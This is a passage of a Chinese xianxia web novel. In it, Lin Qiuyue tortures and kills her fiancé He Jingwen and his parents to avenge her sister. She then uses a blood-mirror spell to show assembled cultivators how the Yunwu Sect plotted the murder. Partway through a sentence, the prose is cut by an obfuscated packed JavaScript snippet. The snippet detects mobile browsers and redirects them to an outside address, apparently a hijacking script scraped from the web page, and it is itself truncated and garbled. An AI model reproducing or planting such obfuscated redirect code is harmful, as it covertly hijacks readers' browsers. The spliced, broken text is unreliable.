屋外的秦湘与长锦看着屋内发生的一切,秦湘心中满是惊愕,她猜想到了贺宗主与其夫人可能是林秋月和凌川杀的,但是她是真的没想过林听晚竟然不是死在飞羽门内斗中,而是死在贺景文的手中?而且听林秋月方才与贺景文的对话,贺宗主对这件事也是知情的,所以换而言之,就是,林听晚的死间接地与他们也脱不了干系,所以林秋月才会杀了他们吗?为了给林听晚报仇? 长锦对修仙界的这些东西所有的了解都是来源于书卷,所以他并没有秦湘这么多思量,只是站在她身旁,低声问道,“你要上吗?要阻止她吗?那个人好像快死了?” 未经他人苦,莫劝他人善。秦湘并没有想上前去阻止林秋月的想法,贺景文杀了林听晚,那他就应该为此付出代价,于是她摇摇头,“不去,因果轮回,报应不爽。” 本来她跟着林秋月来只是因为那时不知道什么情况,遇见那样的事难免多心,况且爹爹和清桐姐姐都还在这里,她不能让危险降临在他们身边,现在排除危险,旁人的事情,她一个外人去插一脚算是个什么事? 71.万钧雷霆 长锦看了看她,在这件事他也保持着与秦湘一样的看法,“行,那我们再看看吧。” 于是两人就决定继续在屋外看看情况,如果林秋月只是为了报仇杀了贺景文,那他们绝不插手,万一若是有其他什么举动,会威胁到其他宾客,那他们自然就不会袖手旁观。 秦湘重新整理了一下呼吸,又转头轻轻地朝着屋内看去,可谁知,这一下,屋内的林秋月像是察觉到了屋外的动静一般,竟然直接就转过了头来,用那种一切尽在掌握之中的眼神看了过来,蓦地便与秦湘四目相对。 秦湘只觉得与林秋月目光交汇上的那一刻,她的心脏猛然地跳动了一下,不知是不是她的错觉,她为什么会觉得林秋月一开始便已经知道了屋外有人。僵持片刻,林秋月精准地朝着两人的方位微笑了一下,声音温润得如春日微风,在湖面上泛起一圈圈涟漪,“秦姑娘若是想看,不妨直接进来,外面风大,可别冻坏了姑娘。” 秦湘怔了一下,林秋月已经将话挑在明面上来,她再藏着躲着确实也是没意思了。于是轻咳一声,转身走到门扉面前,轻轻地敲了两下,温声道,“我无意阻碍林门主复仇,此举实属无心,还请见谅。” 门扉被人从里面拉开了,林秋月侧身站在一旁,目光在秦湘脸上扫过,又在长锦身上打量了一番,然后又看向秦湘,笑了笑,轻声道,“我当然知道你是无心的,因为这一切本来就是我想让你看见的,不然,早在宴席之前我就该杀了你了,又怎么还会让你活着离开这个别院?” 闻言,长锦目光一凛,夜风经过打开的门扉穿堂入室,桌上的烛火摇晃,映得他的一双眸子愈发的黑沉,整个人也显得愈发的危险。秦湘轻轻地拍了拍他手,朝他摇摇头,低声道,“没事,不用在意。” 安抚了长锦一会儿,见他眼底的阴沉散去,秦湘才转回了头,又面向林秋月,正色问道,“所以那个时候你就知道我在屋檐上了?方才从华羽殿过来这里的一路上,你也一直知道我们在你身后。” “自然,”林秋月坦然地点点头,“我若是连这点警觉性都没有,还怎么在飞羽门里活下来,怎么和我那群好哥哥还有那群老狐狸斗?”她说着,又自顾自地走到了床榻边,除了贺景文还尚且活着外,其余两人皆已丧命。 她施施然地在床边坐下,又抬起脚尖,狠狠地将贺景文的脸踩在了脚下。 秦湘看得有些皱眉,她将目光从贺景文身上移开,又放在了林秋月的脸上,“林门主,你故意让我看见了你与凌川的交谈,然后又故意让我听见你与贺景文的这些恩怨,应该不只是为了与我这么闲谈一番吧?” 林秋月踩着贺景文的脸颊,一手撑在身旁,一手把玩着手中还剩下的最后一枚雾隐针。听着秦湘的话,她好笑似地摇摇头,声音懒洋洋地否认道,“不,秦姑娘,你想多了,我就只是为了让你看见而已,然后,我也不是故意引你过来的,只是你刚好出现在屋檐上,反正早晚也会让你们知道,所以你先知道后知道又有什么区别呢。” 秦湘直接道,“你就不怕我那时看见了之后转头就去和各大门派说?” 听见这话,林秋月却笑了起来,“我知道,秦姑娘,你不会的,没有直接证据,你不会说出来的。而且,就算你与他们说了又能怎样?你以为,我为什么会同意贺景文广发请柬邀天下各大门派前来?这本来就是我计划中的一环,这一刻我等了两年了,你们都将会是我的见证人。” 看着她脸上温和乖张的笑意,秦湘只觉得不寒而栗,这个人,竟然把所有人都算计在了里面。她咬牙道,“林门主,你到底想干什么?修仙界的各派掌门长老都在,他们可不是贺景文,你若是想与他们过招,怕是会吃亏。” “秦姑娘多虑了,我并不想与修仙界各派为敌,我只是,想让你们做个见证罢了。” 秦湘有些没反应过来,可林秋月脚下的贺景文却是猛然一怔,一种剧烈的恐惧感由心底迅速地席卷至他的四肢百骸,血液都在此时凝固了开来,他急剧地挣扎着,颤抖着,声音也由喃喃变得歇斯底里,“不……不可以!!林秋月!!你不可以!!你若毁了云雾宗,我做鬼都不会放过你!!” 随着话音一落,旋即而来的是“砰!”的一声,林秋月狠狠地踩在了他的脸上,这一脚带着的戾气是十分浓厚的,受了这一脚,贺景文瞬间吐出了一大口鲜血。血液四溅,林秋月的鞋子上也沾染了几滴,血液在她洁白的鞋面上晕染开来,林秋月皱着眉头看了看,伸脚在他身上擦了擦。 擦完了,又一脚将他踹得仰面而躺,居高临下地俯视着他,冷冷道,“你觉得你有这个资格来和我说不吗?你做人都死在了我手里,竟然还妄想做鬼就能杀了我?你做梦吧你!” 秦湘看着这血腥的场面,多少还是有些心理不适,还未等她缓过这个劲来,那边林秋月便朝着她又温柔地笑了笑,“好了,秦姑娘,如果你真想知道我要干什么的话,那就跟我来吧。” 话音一落,林秋月手指祭出一道符咒,随之一道金光骤然亮起,地上躺着的贺氏夫妇瞬间消失不见,她朝秦湘微微一笑,下一刻,也揪着那奄奄一息的贺景文一起消失在了两人面前。 “瞬移术!不好,快追!!”秦湘立即回过神来,她不知道林秋月还要做什么,但是如果她需要让所有人都亲眼目睹这一切的话,那一定会想方设法将所有人都吸引过来,谁知道她还提前布置了些什么,她不能让爹爹和清桐姐姐他们陷入危险。 两人立即出了别院,看着远处天际上如流星般飞速划过的一道璀璨金光,两人目光交汇了一瞬,便立即朝着那边掠起而去。 追了一阵,林秋月在距离华羽殿不远处的一块空旷平野里停下,秦湘与长锦也跟着停下了脚步,在林秋月面前落下。平野宽阔无垠,如今已是冬日,草木萧瑟,林秋月站在两人对面,萧瑟的夜风呼啸而过,将她的发丝吹起,在空中猎猎飞舞着。 在她脚下,一个阵法图案闪耀着熠熠光辉,贺氏夫妇的尸体躺在法阵之上,贺景文此时也半死不活地躺在林秋月的脚边。三条绿色的灵力光辉从他们的心口链接到了那阵法之中,像是从他们身上正在抽取些什么似的。 秦湘没见过这种法阵,但是那绿色的灵力每每从贺景文他们身上交替过去,那阵法的光亮就愈发地增强。她眉心紧蹙,声音低沉咬牙道,“林门主,你到底要做什么?” “雷鸣。”林秋月却不答,只是随手召出了一把长剑,她反手握住长剑,径直地往面前的阵法中一送。只见那长剑融入阵眼的那一刻,天地风云骤变,阵法上空黑云滚滚,电闪雷鸣,随着一道轰隆隆的雷声响起,无数道闪电汇聚在了一起,从天而降,朝着那阵法直劈而下!! 霎时间,惊天动地,那阵法的光芒也在这一刻亮到了极致。 秦湘被逼得不自觉地眯起了眸子,一阵眩晕,她正准备抬起手来遮在眼前时,就见一个身影先她一步挡在了她身前,替她挡去了那些刺眼的光芒。 等到眼睛能够适应面前的光亮时,她才揉了揉眉心,从长锦身后走了出来。 林秋月站在阵法中央,那雷电在她身边乖顺地犹如她豢养的灵兽般。在她面前,贺景文痛苦地哀嚎着,雷电通过阵法传送到了他的四肢百骸。 雷鸣电闪中,林秋月的手在贺景文上方虚虚地覆盖着,那枚细小的雾隐针此时也骤然变大了几十倍,犹如一把长剑,从他的腹部直穿而过,将他死死地钉在了地上,竟是求生不得,求死不能! 秦湘简直惊呆了,林秋月从未在修仙界内的公开场合展露过她的身手与术法,如果按照她方才所说,两年前她目睹了贺景文杀害了林听晚的全过程,那时的她却没有这个能力来复仇,只能忍辱负重。可这也才短短两年时间,她的身手与术法竟然就能达到这种境界吗?这也太不可思议了?! 她惊愕地看着面前的场景,正欲说话,一道男声却先从几人身后焦急地传来,“阿湘!!” 林秋月抬眼看向来人,眼中闪着幽光,嘴角也勾出了一抹肆意的笑容。秦湘与长锦也闻声回头朝着身后望去,秦叙与乔修远正朝着他们飞掠而来,在两人身后,还跟着一大群衣着各异的修士。 原来是方才林秋月引来的电闪雷鸣灵力太过于强悍,动静太大,在华羽殿中等候的众人抬头瞧见情况愈发地不对,终于还是坐不住了,纷纷朝着这边赶来。 秦叙一看见那从天穹处源源不断地劈下的万钧雷霆,心中就已是大惊,此时看见秦湘与长锦正站在那光芒四射的金色阵法面前,在两人身后,还横七竖八地躺着三个不知是死是活的人,心中不由得就更骇了。他立即朝着两人狂奔而去,喊道,“阿湘!!席清长老!!” “爹爹,”秦湘伸手扶住了他,又朝他身后看了看,问道,“师兄和清桐姐姐呢?” “清桐不善攻伐之术,还是呆在华羽殿好,楚闵留在她身边保护她。”秦叙边说着,边拉着她将她前前后后翻转着查看,秦湘配合地举起手来,安慰道,“放心吧,爹爹,我没事。” 秦叙将她来来回回上上下下打量了个遍,见她完好无损,安然无恙,那颗惴惴不安的心终于算是落进了肚子中。他松了一口气,这才抬眼去看两人身后的那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15180512|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法阵,他眯了眯眼,看清了地上伏倒的那两具尸体,一惊,“贺宗主?这到底是怎么回事?!” 法阵中央的林秋月手中还控制着那枚穿透贺景文腹部的雾隐针,贺景文此时已经没有这个心智来注意四周的情况,他只觉得自己已经到达了痛苦的临界点了,可是就是死不了。腹部的银针狠狠地钉着他,让他甚至连微微动一下,将自己蜷缩起来都做不到,只能不住地痉挛着,清醒着感受着身体每一寸肌肤传来的蚀心之痛。 他全身是血,仰着脖颈,青筋暴起,痛苦地大喊着,“啊啊啊啊啊!!!” 看着他痛苦的模样,看着这血腥的场景,林秋月眼中闪耀着诡谲的精光,像是享受般地缓缓合拢五指,随着她五指收拢,那阵法上附着的闪电仿佛有意识般,朝着贺景文身上攀爬而去。 贺景文双目瞬间睁大,电流声滋滋作响,与之同来的是他痛苦的哀嚎声,“啊啊啊啊啊——” 声音响彻夜空,让人心中发毛,后背发凉。 赶来的众修士在原地站定,所有人的目光都集中在面前的法阵中央,谁都不曾料到今夜会是这样的发展,原本的婚前宴到如今这个局面,新郎的父亲母亲横死荒野,新郎本人此时也半死不活地被钉在地上,而这一切的始作俑者,却是今夜的新娘。 这一通反转真是让人始料不及的,一时之间,所有人心中的震惊与愕然都无法言说。 “少主!!掌门!!夫人!!”云雾宗的长老弟子们此时也已渐渐赶来,看着地上鲜血淋漓的三人,皆是一怔,又看着面前微笑着的林秋月,更是惊愕! 震惊了半晌,有人率先拔出了腰间的佩剑,指向对面的林秋月,怒喝道,“林秋月!!放开少主!!”有一人带头,剩下的人也跟着一同拔出了腰间的剑,直指林秋月。 林秋月抬起眼帘,看着那群眼中带有怒火的云雾宗修士,毫不在意地冷笑了一声,似是宣战一般,五指收拢得更紧,贺景文腹部的银针扎得更深,鲜血从针尖处潺潺流出。 她灿笑着,朝着他们挑了挑眉。 “你!!”所有的理智在这一刻被愤怒吞噬殆尽,他们提着长剑,朝着林秋月冲了出去。 然而,还不等他们接近那法阵边缘,一道黑色的身影却先到达了他们面前,剑光闪过,雷电交加,冲在最前头的那个云雾宗的弟子双目睁大,不可置信地看着面前的人,张了张嘴,所有的话都被堵在了喉咙间,永远也不能再说出来了。 他缓缓地倒下,其他长老弟子见状纷纷停住了步伐。在林秋月面前,凌川一袭黑色劲装,手中的剑尖还滴着尚未凝固的鲜血,他神色冷峻地扫过面前的每一个人,“想杀她,除非我死。” 飞羽门的弟子随后也赶了过来,他们拔剑跟在凌川身旁,将林秋月护在身后,目光死死地盯着面前每一个云雾宗的弟子们,跟着凌川喊道,“想杀门主,除非从我们尸体上踏过去。” 云雾宗不擅长用剑,他们的剑法要真说起来,还是这两年由飞羽门指点的,可此时双方刀剑相对,他们相互看看,不敢上前,却又不甘心放下手中的剑,于是两方剑拔弩张,这么互相僵持着。 场上霎时间陷入了一种诡异的寂静之中,除了还在痛苦哀嚎着的贺景文和相互僵持着的飞羽门众人、云雾宗众人外,其余人脸上皆是色变,你看看我,我看看你,一时竟不知该如何是好。 “林门主,贺宗主他们是你杀的?”人群中有人忽然出声,打破了这诡异的僵局。 林秋月没有反驳,朝那人轻轻地点了点头,笑道,“是啊,是我杀的。” “你疯了!!你为什么这么做?!他们不是你的公婆吗?贺少主是你的丈夫,你……” “不,你错了,”林秋月笑着打断了他,“我们还没有拜堂,他们不是我的公婆,这个人自然也不算我的丈夫。” “你这个疯子!!你到底要干什么?!”见有人发声,云雾宗的众人也按耐不住了,其中一位长老怒视着那边的林秋月,朝着她大喝道。 “我要干什么?呵,”林秋月冷笑一声,朝着那长老乜过去,沉吟片刻,一双眸子冷若冰霜,“如果我没记错的话,您是圣辉长老吧?长老与贺宗主情同兄弟,不会不知道他们做过什么吧?” 那名被叫做圣辉的长老此时被她这么一点,也是一怔,旋即脸上也闪过一丝不自然的情绪,见他不答话,周围修士的视线渐渐地集中在了他身上。云雾宗里,除了几名较为年长的长老神色有瞬间慌张外,其余弟子脸上更多的却是茫然,他们纷纷回头,与其他门派的人一起,缓缓看向了自家长老。 72.离魂入梦 圣辉长老没想过林秋月会突然发问一个这样的问题,他对上林秋月眼中扭曲的恨意与寒意,心中大惊。忽然之间,某些深远的记忆扑面而来,他怔了怔,电光火石之间,眼前的一切好像都联系了起来。 他站在人群里,慌了片刻,又很快地定下心来,哼道,“掌门做过什么我不知道,我只知道林门主你是个忘恩负义的疯子,当初飞羽门内斗,要不是我们云雾宗,哪里还有现在的你?” 听到这句话,林秋月哈哈大笑起来,“诸君还真是,谎话说多了,到最后自己都要信以为真了吧?若是没有利益,你们会参与进飞羽门的内斗?而飞羽门内斗,一开始不就是你们挑起的吗?我姐姐的死,不也是你们一手谋划的吗?而这次的这场婚事,不也是你们想要彻底吞并飞羽门而举行的吗?你们当真是,得寸进尺,贪得无厌!!” 最后几个字,她几乎都是咬着牙一字一句说出来的。 这话一出,人群中瞬间炸开了锅,四周的修士心中皆是震惊至极。他们都知道飞羽门常年内斗不休,这斗争不休的原因不过就是林老门主爱寻花问柳,膝下子嗣多,飞羽门门主的位置又是以能力和嫡长为首选的。 林听晚虽为女子,但是能力却是最突出的,还是唯一的嫡女,这位置无疑一定会是传到她手上的。只是这样一来,除去林秋月外的另外三个庶子便很不服气了,认为女子如何能掌权,所以常年以来便就是这样一副内斗不断的局面。 后来林听晚死了,经历了一场大屠杀,飞羽门辗转到了林秋月手中。虽然不说,但是大部分人心中都默认着是林秋月恨飞羽门,所以联合着云雾宗血洗了飞羽门,只是今晚看这发展趋势,难道当初的事情发展另有蹊跷? 众人面面相觑,一边思量着,一边朝着云雾宗那边悄悄望了过去,目光在云雾宗众人与飞羽门众人之间来回打着转。 人群中窃窃私语的声音越来越大,质疑与议论声不停地传到了那边站着的圣辉长老耳中。他看似冷静地站着,实则已经眼前发黑头脑发慌了,他不知道为什么事情会发展到这种地步,明明当初这些事情林秋月也是知道的,她明明与他们是一条绳上的蚂蚱,为何会突然倒戈发难? 四周越来越多的目光都集中在了他身上,就连云雾宗自己的弟子都露出了震惊且茫然的神情看向了他,他们也不明白为什么事情发展会变成这样?为什么飞羽门的斗争会是他们挑起的? 圣辉长老沉默了半晌,最终也只能硬着头皮道,“呵,我们贪得无厌?林门主当真将自己摘得好干净啊,天下人皆知,飞羽门的长老与你的那几个哥哥都是死在你手里的,是你求着掌门与少主帮你坐上飞羽门门主之位的,如今却倒打一耙,杀我掌门,害我少主,你当真恶毒。” “还真是舌如巧簧,”林秋月不合时宜地为他鼓了鼓掌,灿笑道,“既然你都说我恶毒了,我若是不做点什么,倒真对不起你的谬赞了。”她说着,又朝着四周的宾客们展颜一笑,郑重道,“诸位前辈,各位贵客,在这里,秋月先与各位道个歉,此次下帖广邀大家千里迢迢前来茳洲,并不是为了参加什么婚宴,只是为了请各位来为秋月做个见证。” 一旁站着的乔修远问道,“什么见证?难道是飞羽门内斗和林听晚门主死亡的真相?” 林秋月闻言,缓缓看向天际,声音中带着丝似有若无的释然与感慨,轻叹道,“是啊,正是这件事,我忍了两年了,此时,终于能够公之于众,用仇人的鲜血来祭奠我姐姐不甘的魂灵了。” 她说罢,忽然翻手一抬,被那根雾影针钉在地上的贺景文猛地就被提了起来,四条金色闪电从阵法中拔地而起,将他呈大字型牢牢地禁锢在了半空之中。 林秋月侧过头去,缓缓地走到了他身边,她先伸手做爪,抓向自己的心口,用力一拔,一滴红如朱砂的心头血便这样漂浮在了她的掌心,而后她再伸手凌空朝着贺景文的心头一抓,一滴同样朱红的鲜血也从他的心口缓缓渡了出来,被金色的灵力携裹着漂浮到了林秋月的掌心。 她双手结印,掌心光华四溢,那两滴血珠在光华中旋转,由一开始的缓慢渐渐趋于快速,等到两滴血珠旋转到已经几乎重影之时,林秋月双手展开,凌空一挥,“去!” 秦湘望着那在空中不断扩大的血镜,喃喃道,“这到底是什么呀……” 秦叙站在她身边,与她一同抬头看着天穹中那恍如帷幕般展开的血光,震惊道,“这是离魂入梦术的最高阶展现形式,修仙界中能掌握到这种程度的人屈指可数,没想到林秋月小小年纪,修为术法竟然到达了这种境地,居然能施展出这种程度的离魂入梦术……” “离魂入梦术?”秦湘不解,她对这个术法涉猎不多,了解的只是皮毛,于是便问道,“离魂入梦术不是指施展术法者可以魂魄离体,进入到别人的梦境之中,然后被施展者如果术法修为在施展者之下,施展者便可在睡梦之中问取对方问题,且对方不能说谎。可林秋月施展的这个并不像是一般的离魂入梦术啊?” “她施展的当然不是一般的离魂入梦术,她施展的这个术法不仅可以知道自己想要知道的,只要修为在被施展者之上,甚至可以直接提取对方的记忆,”秦叙道,“看她方才所施展的咒术,她是把自己的记忆与贺景文的记忆一同结合了。” “记忆结合?”秦湘一惊,看着还在施展着术法的林秋月,顿了顿,缓缓道,“也就是说,林秋月与贺景文的记忆会在这血镜之中显现,如同场景重现般在所有人面前展开?做不得假?” “嗯,做不得假。”秦叙点头道,“离魂入梦术最大的特点,便是一个真字啊。” 离魂入梦术,秦叙知道,周围的修士中也不乏有见多识广者,他们一同看着空中那越来越清晰的血镜,神情中既有好奇也有惊愕。 云雾宗的几位长老自然也知道离魂入梦术一旦施展,所言所述皆为真实,做不得一丁点儿的假来。他们本来以为这件事只有几个人知道,林秋月就算反水又能怎样,她只有一张嘴,没有任何证据,又怎么能让众人信服?更何况,众目睽睽之下,血洗飞羽门,那也是她做下的事,洗不清的。 岂料林秋月这两年居然一直在扮猪吃老虎,暗地里隐藏实力,在他们面前和和气气,她这是要将云雾宗捧上最高点,然后再狠狠地将他们从云端抛下,摔得粉身碎骨,她这是要毁了云雾宗啊! 不,绝对不可以让她这么做,离魂入梦术一旦施展开来,那所有的一切都绝无回旋的余地!! 几乎是没有任何犹豫,几位长老的目光在空中交汇了一瞬,便立即举剑飞掠而上,朝着林秋月袭去。然而,却又被站在她身前的凌川挡了回来。 凌川举剑一弹,轻轻巧巧地便将他们弹了回去,然后顺手甩下一道禁锢结界,他似乎永远都是那副森冷阴沉的神情,他将剑架在那长老的脖颈处,冷声道,“安静点,还没到你死的时候。” 本来见这边战争又一触即发,一些的离得近的修士们也大惊失色,纷纷拔剑,见凌川并没有再杀人,只是将那些愤起的云雾宗长老们禁锢在了原地,怔了半晌,慢慢落下心来,将剑收了回去。 没有人再阻拦了,所有人都立在原地,看着那天穹中的血镜在林秋月的施展之下越来越大,越来越清晰,直到血镜的最后一块边缘成型,林秋月才收回手心。 血镜在林秋月站着的阵法后方上空凝聚成形,红色的光华如一片混沌在镜面上缓缓流淌着,随着时间的一分一秒地过去,那混沌渐渐转为了清晰,光华散去,画面也在众人面前徐徐展开…… 血镜中,所有的虚无褪去,一间暖阁率先映入众人的眼帘,其他人也许有些陌生,但是云雾宗的弟子们却不陌生,他们看着那殿宇楼阁在幻境中渐渐清晰,不禁怔道,“这不是浮生阁吗?” 浮生阁中,贺宗主与其夫人坐于首位,圣辉长老和其余几位长老分别坐于左右两侧,贺景文站在中央。他们脸上神态各异,贺宗主与其夫人眉目紧锁,似在犹豫。 几名长老神情严肃且有些愤恨,其中不满与焦躁更多,而贺景文立于众人面前,脸上也带着丝显而易见的怒气与不甘愤然。 贺景文似是再也无法忍受了,他看向面前坐着的爹娘,挥手愤然道,“爹,娘,你们到底还要考虑到几时?!我们云雾宗虽然名为六大门派之一,可实则却还不如一个普通的小修门派名气名声大,就因为他们习剑,再这样下去,这个名号已经不是荣誉了,而是耻辱,笑柄!!” 几个长老也附和着点头,圣辉长老更是狠狠地一锤锤在桌面上,眼神怨极恨极,咬牙道,“这群家伙,当年与妖族的那场大战,若不是我们,他们还能那么安然无恙地活在这世上?如今天下太平,却说我们江河日下,当真可恨!!” 圣辉长老越说越气,他回想着自己近日在茶肆间听到的那些闲言碎语,一口银牙都要咬碎了,“这几日我在酒楼中,听见他们在闲聊飞羽门的事情,飞羽门如今才算是日就衰败吧,沦落到一个女人掌权就算了,那几个没用的东西,与一个女人斗了十几年,却还没将她从门主的位置上拉下来,当真是一群废物。可就算飞羽门沦落成这样了,那群只会嚼舌根的狗东西, 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世事变化无常,唯有变化不变。新旧交替,难道他们真的就要这样落寞下去,毫无水花地消失在大众视野之内?不,他怎么甘心,如果云雾宗从未踏上过辉煌还好说,假使他们一直平庸,便会习惯在这样的平庸中继续活下去,可他们曾踏上过高处,曾有过璀璨的辉煌!! 从平庸踏进辉煌,这的确让人很容易习惯,但是由辉煌走向平庸,这实在太难让人接受了。 他真的甘心吗?甘心就这样沦为笑柄地落寞消失?! 贺宗主沉默良久,终于,他抬起那双深沉的眼,看向屋内的众人,声音低沉却又清晰,一字一句问道,“飞羽门门主林听晚这几日闭关修炼的消息可准确?” 浮生阁中几许沉寂,贺夫人愣怔地看向自家夫君,与她那不可置信地眼神不同,其余几人在听见他这么发问后,顿时便明白了他的意思。 圣辉长老眼露精光,亦是激动亦是欣喜,拱手回道:“消息准确无误,自从去年在花溪镇那一战中林听晚被妖魔袭中,修为灵力受损严重,每月中都有几日灵力几乎全无,形如凡人。我们只要在这时候下手,不愁万雷剑法到不了手。” “这些日子我与林家那三个废柴交好,他们资质平平,蠢笨如猪,却还妄想着门主之位,”贺景文说着,“我已经点醒过他们了,这几日是夺取门主之位的最好时机,他们若是还有点脑子,自然知道该怎么做。到时候他们在外面吸引住其他簇拥林听晚的弟子的视线,我们再趁机进去,杀了林听晚,夺取万雷剑法,鹬蚌相争,渔翁得利。” 贺夫人听得心惊,她坐在几个眼泛精光的男人当中,有些发抖。她惴惴不安道:“你们这样做真的行得通吗?若是出现了什么偏差,到时候飞羽门的人知道是我们杀了他们门主,会不会联合起来一致对外?若是他们将这件事公布天下我们又该当如何?” “夫人这种时候就不要妇人之仁了吧,”其中一个长老道,“不入虎穴焉得虎子?如果我们不这么做,我们就会平庸地消失在大众视野之外,相反,若是这件事成功了,那就能一步重回青云。” “是啊,夫人若是不忍听下去的话,那就先行离去吧,”圣辉长老瞥了她一眼,语气坚决,“这件事关乎着云雾宗的未来,事关重大,绝不能有任何犹豫和闪失。” 与那些在外行走见多识广的女子不同,贺夫人是个大门不出二门不迈的大家闺秀。传统的思想从小禁锢着她,在家从父,出嫁从夫,夫死从子,所以在众人眼神的逼视下,她怔了怔,犹豫了良久,最终还是垂下了眼帘,选择了缄口不言。 见她沉默,剩余的几人也不再管她,贺景文道,“飞羽门内部不和这是举世皆知的事情,就算到时候他们发现了林听晚的尸体,他们也不会怀疑到我们头上来,那几个废物想让林听晚死的心情整日都写在脸上,又挑在这种时候生事逼林听晚下台,只要我们再加一把火,就算他们到时候发现自己上当了又怎样?所有人都会觉得,是他们为了门主之位,杀了自己的亲姐姐。” 圣辉长老点了点头,补充道:“没错,到时候飞羽门没了门主,内部的斗争只会更加激烈,等他们斗得个两败俱伤之时,也就是飞羽门灭门之时。” 贺宗主坐在首位上,目光缓慢地抬起,在面前的一张张脸上扫过,他喃喃道,“等飞羽门灭门之后,谁又会知道这剑法到底是万雷剑法呢还是其他什么剑法呢。” 闻言,众人一顿,一齐从座位上站起,朝着他抱拳弯腰道,“宗主英明。” 73.听晚之死 看着血镜里浮生阁中每个人脸上挂着的那丝贪婪且振奋的神情,血镜外站着的众修士也都神情各异,不少人脸上都露出了鄙夷的神情,贺家三口两死一伤,伤的那个已经神志不清了,于是他们便将目光投向了被凌川禁锢在结界之中的几位云雾宗长老身上。 “怪不得要拔剑上去对付人家一个小姑娘呢,这是要灭口啊,忒不要脸了。” “当着这么多人的面也敢动手,不仅不要脸,胆子也忒大了。” “此言差矣,他们要是胆子不大,怎么敢做下这种借刀杀人的事情,可怜林姑娘孤苦伶仃一个女儿家,既要从那内斗不断的飞羽门中活下来,又要提防这群豺狼,这其中不知吃了多少苦啊。” “嗐,真是可怜可叹呀……” 被所有人的目光一盯,那几个老家伙们缩在结界内,一时脑内嗡嗡,百口莫辩。 所有的真相赤裸裸地摆在了众人面前,云雾宗其他弟子们一时也僵在了原地,脸色苍白,嘴唇颤抖。原来他们学的剑术并不是因为云雾宗与飞羽门交好,两家之间又有联姻,飞羽门才慷慨解囊教他们的,原来,真相竟是如此…… 他们学的剑术,都是偷来的,云雾宗的辉煌,都是踩着别人的尸骨上去的。 他们看向四周,凌川与林秋月的眼神是那么地冰冷,飞羽门众人眼中的恨意是那么地清晰,甚至连四周所有的修士看向他们的眼神都是那么地鄙夷,唾弃。 血镜中的场景不会因为他们的颤抖与害怕就停止,浮生阁渐渐淡去,虚无的混沌再次涌动,片刻后,迷雾散去,新的场景更迭而现。 幻境再次清晰,一个身影出现在了众人眼前,有人惊道,“是林听晚。” 幻象中出现的确实是林听晚,不过与出现在众人面前那个雷厉风行的林门主形象不同,幻象中的背景应该是飞羽门门主闭关修炼的密室,林听晚长眉紧锁,一双眸子死死地盯着面前,像是在怒视着什么人,虽然她满身血污,单膝跪倒在地,但还死死握着手中的长剑,神情冷峻,背脊直挺。 另一个身影也在这时走进了众人的视野之内,是贺景文。他笑着走到了林听晚的面前,掌心中还虚浮着几根泛着寒光的银针,他慢条斯理地叩动着五指,银针也随着他的动作一上一下,“林门主,我的耐心是有限的,识相的,自己乖乖把万雷剑法交出来,还能少受些苦,死个痛快。” 林听晚毫不犹豫,咬牙道,“痴心妄想。万雷剑法光明磊落,就算我死,也不会让它落到你这等卑鄙无耻之徒手中……” 贺景文挥手一甩,两根银针直接飞入了林听晚的双臂之间,只闻得哐当一声,长剑落地,她的双手无力地垂落在了身体两侧。 贺景文还维持着挥手的姿势,看着林听晚不屈服的眼神,他的耐心终于到达了极限。他胸膛起伏着,慢慢地收回了手,掌心再次凝聚出四根雾隐针,危险地眯起眸子,“林听晚!我尊敬你,所以尊称你一声林门主,你不要给脸不要脸,我最后再问你一遍,万雷剑法呢?!在哪里!!” 看着面前暴怒低吼着的贺景文,林听晚冷哼一声,声音轻颤却又坚决,“我过说了,就算你杀了我,我也不会告诉你万雷剑法在哪里,不要再痴心妄想了。” “好好好……甚好甚好。”贺景文笑了,一连说了三个好字,他低低地笑着,然后蓦地抬头,阴沉的笑意凝固在嘴角,他抬手一挥,四枚雾隐针齐发,林听晚缓缓地倒在了他面前。 贺景文皱着眉,神情暴戾,他慢慢地走上前去,看着面前已经死去的林听晚,沉默了半晌,似是不解恨般,恶狠狠地一脚踹了上去,啐道,“贱人。” 秦湘看到这里,心中一时也是愤怒与悲凉交加,怪不得那时林秋月会如此折磨他,贺景文这人当真是卑鄙无耻可恨至极,可怜林听晚门主一生光明正直,巾帼不让须眉,最后竟死在这等小人手中。也是当真不值,让人唏嘘,让人可叹,让人惋惜。 幻境中的贺景文杀了林听晚后,便开始在密室中翻箱倒柜,试图找到那本能让云雾宗逆天改命的万雷剑法。他在密室中好一顿翻找,却无甚收获,正当他怒气冲冲地准备朝着林听晚的尸首泄愤之时,一个沉冷的声音却在他身后响起。 “你是在找这个吗?”少女的声音无波无澜,却在贺景文心中激起了千层巨浪。他顿了顿,在手中凝聚着几根银针藏于身后,这才转身朝着声源处望去。 密室门口,一袭水蓝色衣裙的林秋月站在那里,手中紧握着一本书卷,她冷冷地朝着满身是血的林听晚扫了一眼,又将目光放在了贺景文身上,看着他藏在身后的右手,她几不可闻地冷笑了一声,才道,“你不是想要万雷剑法吗?它就在我手中,我可以将它给你。” 贺景文一怔,他认得面前的人,是飞羽门的五小姐林秋月。传闻中就是因为她的母亲,飞羽门老门主才去世的,飞羽门中大多数的人都将她视为眼中钉,若不是林听晚的相护,根本不可能活到现在。可这样一个人,看见林听晚死在了他手中,又怎么会主动求和,还将万雷剑法双手奉上? 看着贺景文眼中的疑惑,林秋月轻笑一声,淡淡说道,“万雷剑法溶于飞羽门门主的骨血灵力之中,危及时刻,门主会通过秘法咒诀,将这剑法与飞羽门门主令传于他人。”她说着,又翻手轻轻一抬,一枚散发着金色光华的雷电篆纹令牌虚虚地漂浮在她的掌心,“不然你以为,我为什么会知道你在这里?贺少主,我们来谈一笔交易吧?” 贺景文沉默片刻,低声道,“什么交易?” “我不仅会将万雷剑法交给你,还能帮助你学习这其中的精髓,”林秋月静静地盯着他,一字一句道,“而相应的,你必须助我登上飞羽门门主之位。” 